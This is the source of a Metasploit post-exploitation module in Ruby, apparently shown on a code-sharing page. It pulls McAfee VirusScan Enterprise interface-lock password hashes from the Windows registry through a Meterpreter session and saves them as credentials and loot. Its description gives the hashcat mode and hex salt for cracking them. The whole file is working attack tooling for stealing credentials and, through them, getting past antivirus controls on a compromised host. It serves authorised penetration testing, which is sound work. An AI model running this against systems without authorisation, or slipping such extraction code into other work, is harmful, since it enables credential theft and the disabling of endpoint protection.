Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Post
7
  include Msf::Post::Windows::Registry
8
  include Msf::Auxiliary::Report
9
  include Msf::Post::Windows::UserProfiles
10

11
  VERSION_5 = Rex::Version.new('5.0')
12
  VERSION_6 = Rex::Version.new('6.0')
13
  VERSION_8 = Rex::Version.new('8.0')
14
  VERSION_9 = Rex::Version.new('9.0')
15

16
  def initialize(info = {})
17
    super(
18
      update_info(
19
        info,
20
        'Name' => 'McAfee Virus Scan Enterprise Password Hashes Dump',
21
        'Description' => %q{
22
          This module extracts the password hash from McAfee Virus Scan Enterprise (VSE)
23
          used to lock down the user interface. Hashcat supports cracking this type of
24
          hash using hash type sha1($salt.unicode($pass)) (-m 140) and a hex salt
25
          (--hex-salt) of 01000f000d003300 (unicode "\x01\x0f\x0d\x33"). A dynamic
26
          format is available for John the Ripper at the referenced URL.
27
        },
28
        'License' => MSF_LICENSE,
29
        'Author' => [
30
          'Mike Manzotti <mike.manzotti[at]dionach.com>', # Metasploit module
31
          'Maurizio inode Agazzini' # original research
32
        ],
33
        'References' => [
34
          ['URL', 'https://www.dionach.com/blog/disabling-mcafee-on-access-scanning']
35
        ],
36
        'Platform' => [ 'win' ],
37
        'SessionTypes' => [ 'meterpreter' ]
38
      )
39
    )
40
  end
41

42
  def run
43
    print_status("Looking for McAfee VSE password hashes on #{sysinfo['Computer']} ...")
44

45
    vse_keys = enum_vse_keys
46
    if vse_keys.empty?
47
      vprint_error('McAfee VSE not installed or insufficient permissions')
48
      return
49
    end
50

51
    hashes_and_versions = extract_hashes_and_versions(vse_keys)
52
    if hashes_and_versions.empty?
53
      vprint_error('No McAfee VSE hashes extracted')
54
      return
55
    end
56
    process_hashes_and_versions(hashes_and_versions)
57
  end
58

59
  def enum_vse_keys
60
    vprint_status('Enumerating McAfee VSE installations')
61
    keys = []
62
    [
63
      'HKLM\\Software\\Wow6432Node\\McAfee\\DesktopProtection', # 64-bit
64
      'HKLM\\Software\\McAfee\\DesktopProtection' # 32-bit
65
    ].each do |key|
66
      subkeys = registry_enumkeys(key)
67
      keys << key unless subkeys.nil?
68
    end
69
    keys
70
  end
71

72
  def extract_hashes_and_versions(keys)
73
    vprint_status("Attempting to extract hashes from #{keys.size} McAfee VSE installations")
74
    hash_map = {}
75
    keys.each do |key|
76
      hash = registry_getvaldata(key, 'UIPEx')
77
      if hash.empty?
78
        vprint_error("No McAfee VSE password hash found in #{key}")
79
        next
80
      end
81

82
      version = registry_getvaldata(key, 'szProductVer')
83
      if version.empty?
84
        vprint_error("No McAfee VSE version key found in #{key}")
85
        next
86
      end
87
      hash_map[hash] = Rex::Version.new(version)
88
    end
89
    hash_map
90
  end
91

92
  def process_hashes_and_versions(hashes_and_versions)
93
    hashes_and_versions.each do |hash, version|
94
      if version >= VERSION_5 && version < VERSION_6
95
        hashtype = 'md5u'
96
        version_name = 'v5'
97
      else
98
        # Base64 decode hash
99
        hash = Rex::Text.to_hex(Rex::Text.decode_base64(hash), '')
100
        hashtype = 'dynamic_1405'
101
        version_name = 'v8'
102
        unless version >= VERSION_8 && version < VERSION_9
103
          print_warning("Unknown McAfee VSE version #{version} - Assuming v8")
104
        end
105
      end
106

107
      print_good("McAfee VSE #{version_name} (#{hashtype}) password hash: #{hash}")
108

109
      credential_data = {
110
        post_reference_name: refname,
111
        origin_type: :session,
112
        private_type: :nonreplayable_hash,
113
        private_data: hash,
114
        session_id: session_db_id,
115
        jtr_format: hashtype,
116
        workspace_id: myworkspace_id
117
      }
118

119
      create_credential(credential_data)
120

121
      # Store McAfee password hash as loot
122
      loot_path = store_loot('mcafee.hash', 'text/plain', session, "mcafee:#{hash}", 'mcafee_hashdump.txt', 'McAfee Password Hash')
123
      print_good("McAfee VSE password hash saved in: #{loot_path}")
124
    end
125
  end
126
end
127

128